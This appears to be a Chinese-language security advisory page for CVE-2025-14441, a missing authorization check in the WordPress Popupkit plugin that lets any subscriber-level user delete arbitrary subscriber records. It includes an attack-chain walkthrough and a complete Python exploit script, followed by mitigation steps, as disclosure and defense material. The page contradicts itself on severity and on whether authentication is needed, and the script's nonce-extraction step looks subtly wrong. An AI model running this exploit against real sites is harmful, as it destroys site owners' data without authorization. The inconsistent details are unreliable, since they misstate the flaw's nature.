IPBUF安全漏洞报告
English
CVE-2025-14441 CVSS 4.3 中危

CVE-2025-14441 WordPress Popupkit插件未授权删除订阅者漏洞

披露日期: 2026-01-06

漏洞信息

漏洞编号
CVE-2025-14441
漏洞类型
访问控制/权限绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Popupkit (WordPress Popup Builder Block插件)

相关标签

访问控制绕过权限验证缺陷WordPress插件漏洞REST API安全PopupkitCVE-2025-14441Broken Authorization

漏洞概述

CVE-2025-14441是WordPress Popupkit插件中的一个高危安全漏洞,该漏洞存在于所有版本直至2.2.0。漏洞的根本原因在于REST API端点的权限验证机制不完善,具体表现为DELETE `/subscribers` REST API端点仅验证了wp_rest nonce,但未对用户的实际能力进行权限检查。这导致任何具有Subscriber级别或更高权限的认证用户都可以通过该API端点删除数据库中的任意订阅者记录,而无需具备相应的管理权限。该漏洞的CVSS评分为4.3,属于中等严重程度,攻击向量为网络攻击,所需权限低且无需用户交互。攻击者可以利用此漏洞非法删除订阅者数据,影响网站的正常运营和数据完整性。由于该插件被广泛应用于WordPress网站用于弹窗和订阅者管理,此漏洞可能影响大量使用该插件的网站。

技术细节

该漏洞的技术根源在于WordPress REST API权限回调的实现缺陷。在Popupkit插件的Subscribers.php文件中,DELETE `/subscribers` REST API端点的permission_callback函数仅执行了wp_rest nonce的验证,用于确认请求确实来自WordPress站点内部。然而,该回调函数并未调用current_user_can()或类似的权限检查函数来验证当前登录用户是否具有删除订阅者记录的权限。根据WordPress安全最佳实践,REST API端点应该同时验证请求的合法性(nonce)和用户的操作权限(capabilities check)。具体代码位置位于plugins.trac.wordpress.org/browser/popup-builder-block/tags/2.2.0/includes/Routes/Subscribers.php的第64行和第77行。由于缺少用户能力检查,任何Subscriber角色(WordPress默认最低权限角色)的用户都可以发送DELETE请求到该端点,指定任意订阅者ID进行删除操作。攻击者只需知道订阅者记录的ID即可执行删除,无需任何特殊权限或管理员干预。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress网站的Subscriber级别账户(通过注册或已有账户)
STEP 2
步骤2
攻击者登录网站获取有效的wp_rest nonce(通过访问wp-admin或调用wp.api.init())
STEP 3
步骤3
攻击者构造DELETE请求到/wp-json/popupkit/v1/subscribers/{id}端点,携带X-WP-Nonce头
STEP 4
步骤4
由于permission_callback仅验证nonce而不检查用户权限,请求被服务器接受执行
STEP 5
步骤5
目标订阅者记录从数据库中被删除,攻击者无需任何管理员权限即可完成操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-14441 PoC - WordPress Popupkit Unauthenticated Subscriber Deletion This PoC demonstrates the broken authorization vulnerability in Popupkit plugin where DELETE /subscribers REST API endpoint lacks proper capability checks. """ import requests import sys from urllib.parse import urljoin def delete_subscriber(target_url, subscriber_id, username, password): """ Delete arbitrary subscriber via vulnerable REST API endpoint Args: target_url: Base URL of the WordPress site subscriber_id: ID of the subscriber to delete username: WordPress username (subscriber role or higher) password: WordPress password """ # WordPress REST API endpoint for subscribers api_endpoint = f'/wp-json/popupkit/v1/subscribers/{subscriber_id}' url = urljoin(target_url.rstrip('/'), api_endpoint) # Create session and authenticate session = requests.Session() # Get authentication nonce via login login_url = urljoin(target_url, '/wp-login.php') auth_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } # Attempt to login login_response = session.post(login_url, data=auth_data, cookies=session.cookies) # Get REST nonce from wp-admin nonce_url = urljoin(target_url, '/wp-admin/admin-ajax.php') nonce_response = session.get(nonce_url) # Extract wp_rest nonce from page source import re nonce_match = re.search(r'wpApiSettings\s*=\s*\{[^}]*nonce\s*:\s*["\']([^"\']+)["\']', nonce_response.text) if not nonce_match: print("[-] Failed to obtain REST nonce") return False nonce = nonce_match.group(1) print(f"[+] Obtained REST nonce: {nonce}") # Send DELETE request to vulnerable endpoint headers = { 'X-WP-Nonce': nonce, 'Content-Type': 'application/json' } print(f"[*] Sending DELETE request to {url}") delete_response = session.delete(url, headers=headers) if delete_response.status_code == 200 or delete_response.status_code == 204: print(f"[+] Successfully deleted subscriber ID: {subscriber_id}") return True else: print(f"[-] Failed to delete subscriber. Status: {delete_response.status_code}") print(f"[-] Response: {delete_response.text}") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_url> <subscriber_id> <username> <password>") print(f"Example: {sys.argv[0]} http://example.com 123 admin password") sys.exit(1) target = sys.argv[1] sub_id = sys.argv[2] user = sys.argv[3] pwd = sys.argv[4] delete_subscriber(target, sub_id, user, pwd)

影响范围

Popupkit (Popup Builder Block) <= 2.2.0

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1) 限制新用户注册功能,防止攻击者获取Subscriber账户;2) 使用WordPress安全插件(如Wordfence)监控异常的REST API请求;3) 临时禁用Popupkit插件,直到完成安全更新;4) 使用Web应用防火墙(WAF)规则限制对/wp-json/popupkit/v1/subscribers/*端点的DELETE请求;5) 定期备份数据库以便在数据被删除时能够恢复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表